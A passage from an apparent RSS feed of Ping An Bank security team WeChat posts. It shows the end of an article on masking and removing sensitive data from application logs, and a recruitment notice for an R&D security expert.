!important;">4）建立对抗机制，检查组定期对掩码情况进行检查，规则组持续对掩码规则进行优化，确保应掩尽掩。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong>3、推动本地原始日志脱敏整改</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">1）研发流程管控：在研发安全流程中增加“日志内禁止记录敏感信息”checklist，确保开发人员在设计开发阶段知晓相关规定，同时在安全质量门禁处新增针对日志内敏感信息的检查项，用于开发进行自查。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">2）持续检查：借助日志管理平台的实时检测和异步检测能力，持续对应用生产日志进行敏感信息的检测，如发现问题则自动生成合规整改项，要求开发进行相应整改，整改未完成则进行版本管控。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">3）自动验收机制：整改完成后，系统获取最新的日志平台检测结果，未发现敏感信息则关闭整改工单，发现则将整改工单打回待处理状态。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="113759"><section style="margin: 20px auto;"><section style="display: flex;justify-content: center;"><section><section style="display: flex;justify-content: flex-end;align-items: flex-end;padding-right: 7px;box-sizing:border-box;"><section style="width: 20px;box-sizing:border-box;"><img data-ratio="2.0526315789473686" style="vertical-align: inherit;width: 100%;display: block;box-sizing: border-box;" data-type="png" data-w="38" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=07159140&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexk0b58tNDgYWpcEhjmFJEelU613tMnwQxw7duJoeWZO3gmwqsnUYU5w%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="background-color: #f4f8fc;text-align: center;padding: 5px 35px 5px 15px;color: #448ae0;font-size: 20px;margin-top: -27px;box-sizing:border-box;"><span style="font-size: 16px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text" data-markdown="">三、长期规划</strong></span></section></section></section></section></section><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">在长期的规划中，我们计划再从下面几点逐步进行实施：</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1、标准化日志的输出格式</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">联合公共框架/组件以及研发团队的架构师，制定并规范日志格式标准，减少因日志打印不规范导致的不可控的脱敏成本。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2、持续优化工具</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;" draggable="true"><span style="font-family:微软雅黑, Microsoft YaHei;">1）优化脱敏SDK：增加对多类加密算法和场景的支持，满足非日志场景的数据脱敏需求，提升数据安全治理能力。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">2）推动公共框架/组件治理：联合相关负责人统一标准，屏蔽掉业务信息的输出，并添加对字段级别的脱敏配置。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">3）优化敏感信息检测规则：持续优化敏感信息检测规则，并通过增加二次过滤黑名单机制，降低敏感信息检测误报率。</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section data-brushtype="text" style="letter-spacing: 1.5px;color: rgb(0, 0, 0);line-height: 28px;"><span style="font-family:微软雅黑, Microsoft YaHei;">后记</span></section></section><section style="width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;box-sizing:border-box;"><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(45deg);overflow: hidden;"><br/></section><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(-45deg);overflow: hidden;"><br/></section></section></section></section></section><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">显然由于敏感信息检测规则无法确保百分百准确和不遗漏，想要实现日志内敏感信息的完全治理，单靠检测和整改总归是滞后的，好的方案仍然是从源头把控住敏感信息的存储、使用和传输，但如果想到做到这种程度目前看来还有很大的难度，也欢迎大家一起探讨。</span></p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485009">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dad376c8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247485009%26idx%3D1%26sn%3D43fe81ee814f41fedb98cbddeae4317c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Mar 2023 20:03:00 +0800</pubDate>
    </item>
    <item>
      <title>We Want You!｜平安银行研发安全专家招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484949&amp;idx=1&amp;sn=fd6b235dbde5f241bcb029b6e6052279</link>
      <description>平安银行安全团队致力于保障亿万用户的信息安全，共建金融行业的安全生态环境。我们在这里，期待你的加入！</description>
      <content:encoded><![CDATA[<p>
原创 <span>平安银行安全团队</span> <span>2023-01-30 14:05</span> <span style="display: inline-block;">上海</span>
</p>

<p>平安银行安全团队致力于保障亿万用户的信息安全，共建金融行业的安全生态环境。我们在这里，期待你的加入！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e42068f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibzG0z9vBUic66GncAJtqvVmXyBQyVQWUgDyFv4rYdp5zyV34deXaG1Eg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor" style="box-sizing: border-box;margin-bottom: 0px;"><section data-role="paragraph"><section data-tools="135编辑器" data-id="92737" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section style="width: 100%;" data-width="100%"><section style="display: flex;justify-content: flex-end;margin-top: -20px;"><section style="width: 0px;height: 20px;border-bottom: 20px solid #ffffff;border-left: 20px solid transparent;box-sizing: border-box;overflow: hidden;"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="92737" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section style="width: 100%;" data-width="100%"><section style="width: 100%;border-left: dashed 2px #f79646;background:#f5f5f5;box-sizing: border-box;" data-width="100%"><section style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(63, 62, 63);padding: 0.5em;box-sizing: border-box;"><span style="font-size: 12px;color: rgb(0, 0, 0);caret-color: rgb(255, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">平安银行是一家全国性股份制商业银行（SZ000001），其前身深圳发展银行是中国内地首家公开上市的全国性股份制银行。截至2022年6月末，共有在职员工40,745人（含派遣人员），通过全国109家分行、1192家营业机构为客户提供多种金融服务。经过多年发展，本行已成长为一家金融服务种类齐全、机构网点覆盖面广、经营管理成熟稳健、品牌影响市场领先的股份制商业银行。本行紧跟国家战略，持续提升金融服务实体经济的能力，全面强化金融风险防控，全力助推经济高质量发展，业务发展保持了稳健增长态势。</span></section></section><section style="display: flex;justify-content: flex-end;margin-top: -20px;"><section style="width: 0px;height: 20px;border-bottom: 20px solid #ffffff;border-left: 20px solid transparent;box-sizing: border-box;overflow: hidden;"><br/></section></section></section></section><p style="text-align: center;margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.18427230046948356" data-s="300,640" style="" data-type="png" data-w="1704" src="https://wechat2rss.xlab.app/img-proxy/?k=5ce438bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibibKUwrpnpMa0kA2dSQJFWo9Xyzbc0OQSt90ianvSO0rtsazU9dNcvp8Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section data-tools="新媒体排版" style="max-width: 100%;caret-color: rgb(51, 51, 51);font-size: 16px;letter-spacing: 0.544px;text-size-adjust: auto;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="text-align:center;margin-right: 8px;margin-left: 8px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;" draggable="true"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;text-align: justify;color: rgb(255, 129, 36);box-sizing: border-box !important;overflow-wrap: break-word !important;">✎✎✎</span></strong></p></section><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;font-size: 16px;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span style="max-inline-size: 100%;cursor: text;font-size: 14px;caret-color: red;line-height: 1.5em;font-family: Helvetica, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: none 0px !important;">平安银行在全力以赴向着“中国最卓越、全球领先的智能化零售银行”的目标不断迈进的同时，也一直充分重视着信息安全的发展与建设。平安银行安全团队致力于保障亿万用户的信息安全，共建金融行业的安全生态环境。</span></p><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;caret-color: red;line-height: 1.5em;font-family: Helvetica, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: none 0px !important;">我们在这里，期待你的加入！</span></p><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><br/></p><section data-style-type="5" data-tools="新媒体排版" data-id="1156165" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-color="#ff8124"><section data-css="border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-color: rgb(0, 88, 156);border-style: dotted;border-width: 1px;font-family: 宋体;line-height: 2em;max-width: 100%;min-height: 1.5em;padding: 15px" style="padding: 15px;max-width: 100%;border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-width: 1px;border-style: dotted;border-color: rgb(255, 129, 36);line-height: 2em;min-height: 1.5em;font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-css="-ms-word-wrap: break-word !important;color: rgb(255, 255, 255);font-family: 微软雅黑;margin: 0px;max-width: 100%;padding: 0px;text-align: center" style="max-width: 100%;color: rgb(255, 255, 255);text-align: center;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-css="background-color: rgb(0, 88, 156);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(28, 142, 230);color: rgb(255, 255, 238);font-size: 14px;line-height: 2em;margin: 0px;max-width: 100%;min-height: 1.5em;padding: 0px 20px 4px;white-space: pre-wrap" style="padding-right: 20px;padding-bottom: 4px;padding-left: 20px;max-width: 100%;min-height: 1.5em;background-color: rgb(255, 129, 36);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(255, 129, 36);font-size: 14px;line-height: 2em;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-css="border-color: rgb(0, 88, 156);color: inherit;max-width: 100%" style="max-width: 100%;border-color: rgb(255, 129, 36);color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">研发安全专家</strong></span></p></section><p style="margin-bottom: 0.1px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:center;text-indent: 0em;"><span style="font-size: 13px;color: rgb(227, 108, 9);font-family: 黑体;">本科及以上/5年以上工作经验/薪资面议</span></p><p style="margin-bottom: 0.1px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="margin-bottom: 0.1px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 14px;"><strong><span style="caret-color: red;font-family: 微软雅黑, sans-serif;">工作职责：</span></strong></span></p><p><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1、负责银行研发安全领域工作，包括但不限于应用安全体系规划、风险治理、重点业务系统的安全评估和安全架构设计工作；</span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">2、负责银行研发安全能力的建设，包括但不限于RASP、WEB安全扫描、代码安全扫描、交互式扫描、镜像安全扫描、流量威胁感知等；</span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">3、推动云原生下应用安全体系的持续建设优化，负责设计通用的安全框架、安全组件及安全解决方案，引领技术团队开展SDL落实；</span><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;"> </span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">4、参与制定研发安全流程，并通过工具、技术等手段将安全能力与基础架构融合并推进落地，持续优化完善，达成总体安全管理目标。</span></p><p><br/></p><p><span style="font-size: 14px;"><strong><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">任职要求：</span></strong></span></p><p><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1、本科及以上学历，5年以上企业应用安全建设、SDL落地等经验；</span></p><p style="text-align: left;"><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2、扎实的编码能力，能够使用Java/Python/Golang/Nodejs/C++等其中一种语言开展工具研发；</span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">3、有相关安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；</span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">4、熟悉业内主流的安全机制、安全解决方案及安全体系，能够独立负责中大型应用系统解决方案并主导进行建设，有云原生相关安全经验优先；</span></p><p><span style="font-family: 微软雅黑, sans-serif;font-size: 14px;">5、良好的沟通表达能力和文案编写能力，善于团队协作，项目管理，主动思考，良好的自我驱动力。</span></p><p><br/></p><p><span style="font-size: 14px;"><strong><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">工作地址：</span></strong></span></p><p><span style="max-width: 100%;line-height: 2.46em;font-family: 微软雅黑, sans-serif;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">上海-浦东新区</span></p></section></section></section><p style="text-align:center;"><br/></p><p style="text-align:center;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: 宋体;"><strong style="max-inline-size: 100%;cursor: text;font-size: 14px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, Arial, sans-serif;box-sizing: border-box !important;outline: none 0px !important;">简历投至邮箱</strong><span style="font-size: 14px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, Arial, sans-serif;">：ex-wangjiahui006@pingan.com.cn</span><span data-darkmode-color-16238109509368="rgb(163, 163, 163)" data-darkmode-original-color-16238109509368="#fff|rgb(0, 0, 0)" style="font-size: 13px;color: rgb(0, 0, 0);font-family: 微软雅黑, sans-serif;"></span></p><p style="text-align:center;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: 宋体;"><br/></p><section data-tools="135编辑器" data-id="101594" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;align-items: center;justify-content: center;"><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 129, 36);letter-spacing: 1.5px;line-height: 1.75em;padding-right: 1em;padding-left: 1em;box-sizing: border-box;" hm_fix="337:436"><strong>在平安</strong></section><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section></section><section style="display: flex;flex-direction: column;align-items: center;margin-top: -5px;"><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: #ff8124;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-ms-transform: scale(1);-o-transform: scale(1);"> In PINGAN  </section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;line-height: 1em;color: rgb(255, 129, 36);align-self: flex-end;margin-top: -0.9em;margin-right: 3em;text-transform: uppercase;"><span style="color: #fdeada;">PINGAN</span></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: rgb(255, 129, 36);border-radius: 30px;color: rgb(255, 255, 255);box-sizing: border-box;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">工作在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="vertical-align:inherit;box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=02060a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibGpdcW9Es4omLk0gw8ZYIZ0oMofCfYzkRicDm9JRQS4f9JH2hzJT31hA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-copyright="135编辑器" data-id="95138" data-plugin="template" data-template="%7B%22block_id%22%3A1623820969114%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A95138%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="margin-bottom: 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="95138" data-inner-name="135editor-template"><section data-id="95138"><section data-role="animate" style="margin: 1em auto;white-space: normal;border-width: 0px;border-style: none;border-color: initial;text-align: center;overflow: hidden;box-sizing: border-box;"><section style="box-sizing:border-box;white-space: nowrap;width:100%;overflow-x: scroll;overflow-y: hidden;" data-width="100%" data-svg-role="block"><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.8656429942418427" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1042" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e0119a19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibwN7xqqoWGSPVenEy2PECpEYnyT29fh7f7bRapog9KqyH7l30Be8OYg%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-ratio="0.8721374045801527" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1048" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b9d96c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibE4ostWMxLjleIywWux80eWc5ksUstJBdFh6etMxC2QIRD7icCXIv8bg%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-ratio="0.869980879541109" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1046" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=12a8ec07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibaYNlvujWrD2gssrNnX5cC3uoTePdxCJ2xguJRQkfV7XTTBic32e8O1w%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-ratio="0.8754789272030651" style="vertical-align:inherit;box-sizing:border-box;display: inline-block;width:100%;" data-type="png" data-w="1044" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=dc5fd837&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibNXLRW642rGk2p5OUicdQsYkOrEaPDImTvVA9t23AiccksjWFl5sU2icSA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section style="margin-bottom: 0px;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);box-sizing: border-box;font-family: 宋体;"><section style="clear: both;min-height: 1em;letter-spacing: 0.544px;box-sizing: border-box;"><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: #ff8124;border-radius: 30px;box-sizing: border-box;color: #ffffff;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">成长在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="vertical-align:inherit;box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=02060a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibGpdcW9Es4omLk0gw8ZYIZ0oMofCfYzkRicDm9JRQS4f9JH2hzJT31hA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-ratio="0.38981481481481484" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8cc21d0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibgNic3epBJ5Qp6r9M4sfaXz7HZYR18iamcKvhnictgoTCKEwhia4gzCia1nw%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: #ff8124;border-radius: 30px;box-sizing: border-box;color: #ffffff;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">温暖在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="vertical-align:inherit;box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=02060a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4sjiadfvkBEhnhpgTRmlufibGpdcW9Es4omLk0gw8ZYIZ0oMofCfYzkRicDm9JRQS4f9JH2hzJT31hA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-copyright="135编辑器" data-id="95138" data-plugin="template" data-template="%7B%22block_id%22%3A1623821040243%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A95138%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="transform: rotateZ(0deg) scale(1);"><section data-inner-id="95138" data-inner-name="135editor-template"><section data-id="95138"><section data-role="animate" style="margin: 1em auto;white-space: normal;border-width: 0px;border-style: none;border-color: initial;text-align: center;overflow: hidden;box-sizing: border-box;"><section style="box-sizing:border-box;white-space: nowrap;width:100%;overflow-x: scroll;overflow-y: hidden;" data-width="100%" data-svg-role="block"><section style="box-sizing:border-box;display: 